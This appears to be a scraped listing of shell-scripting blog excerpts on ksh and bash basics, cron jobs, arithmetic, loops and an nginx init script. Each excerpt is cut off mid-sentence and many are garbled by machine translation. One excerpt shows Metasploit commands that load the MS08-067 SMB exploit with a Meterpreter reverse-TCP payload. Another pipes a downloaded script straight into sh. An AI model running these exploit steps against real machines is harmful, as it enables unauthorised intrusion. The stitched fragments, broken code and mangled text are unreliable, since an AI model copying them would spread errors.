Shell

#!/usr/bin/ksh Typeset minpuid=17053200001 Maxrec=30 #touch./subscriber_data Output= "./subscriber_data" Domain=dat05.test.com Maxpubid= $minpuid + $maxrec Echo echo "############################################################" echo "# #

Deploying Javaweb projects in Linux virtual machines What you need: VMware virtual Machines CentOS System Mirroring WINSCP Tools Pietty tools (or No) Begin: After installing the virtual machine, it is best to set up a static IP to facilitate

MSF > Use Exploit/windows/smb/ms08_067_netapi MSF Exploit (MS08_067_NETAPI) > Set PAYLOAD windows/meterpreter/ Reverse_tcp PAYLOAD = windows/meterpreter/reverse_tcp MSF exploit (MS08_067_NETAPI) > Set target + target + 41 MSF exploit

Shell--command parser, also a programming languageBash-a specific instance of the shell, zsh, bash are instances of the shell The "Echo $SHELL" command can be used in the terminal to view the shell instance currently in use and can be switched to

On Windows with notepadd++ edit a shell script, die or die, back to Linux, edit, or have this \ r, search the next, is this: http://bluemood.blog.51cto.com/1142811/1030925 ‘ because the shell processed the character file in Windows, the string

There are many kinds of arithmetic operations in the shell, such as a=1,b=2, so how to calculate the value of A+b? Can not simply $a+ $B, if this operation, the result is 1+2, obviously not the result we want, the result is 3, we have a few methods:

1. Sometimes operation and maintenance requirements automatically generated  Cronab  task scheduling, the implementation of the corresponding service name management;  #!/bin/bash#athor check crontab crontab_ Add () {cron_path= "$" cat >/etc/cron.d/$

We can pass parameters to the script when executing the Shell script, and the format of the parameters obtained in the script is:$n.n represents a number, 1 is the first argument to execute the script, 2 is the second argument to execute the script,

First, regular expressionA, the basic regular expression Meta character Description . Match any single character * Match any of its preceding characters any time .*

Mac uses Iterm[https://www.iterm2.com/] ()1. 安装iterm2 2. 使用oh-my-zsh wget https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh -O - | sh 3. cp ~/.oh-my-zsh/templates/zshrc.zsh-template ~/.zshrc4. vim ~/.zshrc ZSH_THEME="robbyrussell"

Share a recently written shell script that enables you to back up the production line files and rollback operations by the file directory structure of the published package.1#!/bin/SH2Path="/home/www/site1"3pub= $path"/release/pub/mboxii/trunk"#发布目录4

Write to a system-level scheduled task echo "*/5 * * * * python /data/web/s1/a.py >> /data/web/s1/insert.log" >> /etc/crontab cat /etc/crontabWrite user-level scheduled Tasks [[email protected] update]# cat crontab.txt */5 * * * * python

Var=value//This is a value assignment.Note that there is no space between the variable and the value, otherwise it will be considered equivalent judgment, such as [var = valu E]//equivalent judgment, the space is particularly important!!!#!/bin/SHCD

Both exec and source belong to the Bash Internal command (builtins commands), where you can view all the internal command information by entering man exec or man source under bash.The bash shell commands are divided into two categories: external

Os:centos/redhat Seriesand tested properly on CentOS 6.7 and CentOS 7.2#!/bin/bash## auth:daxin# time:2018/07/10## nginx start Nginx Web server# # chkconfig:-90# Description:start, S Tops and reload Nginx Web server##

1.shell is a batch program, similar to the Windows BAT file2. When writing the shell, the first line should be #! /bin/bash begins Execute the file using the bash shell.3. Use the # comment (preferably note the function of the shell script in case

The quoting (reference) in the shell can be used to remove the special meaning of a character so that it retains its literal meaning and can be used for a variety of shell Expansion.There are 3 kinds of quoting mechanisms: escape characters, single

1 If ... else ...Basic Format:If conditionThenCommendElseCommendFi     Of course you can write to a line, use [] to indicate the boundary, or to indicate a branch. For example:  if [ $ (ps -ef | grep -c "SSH" ) -gt 1 ];then echo "true" ; fi   

1. Expression of conditional judgment: [ 表达式 ] 或者 [[ 表达式 ]] 或者 test 表达式，要注意的是[ ]或者[[ ]]中括号内要与表达式之间用空格隔开，否则会报错。2.if Else FI conditional statement 格式： if 条件 ；then 如果条件为真则执行这里的语句 else

There are many types of for loops in shell scripts, and a brief summary of the following is done today.1. Cyclic Digital#!/bin/bash for((i=1; i; i++)); do Echo $ (expr31); Done #!/bin/bash for i in $ (seq 1 10 ) do echo $ (expr $i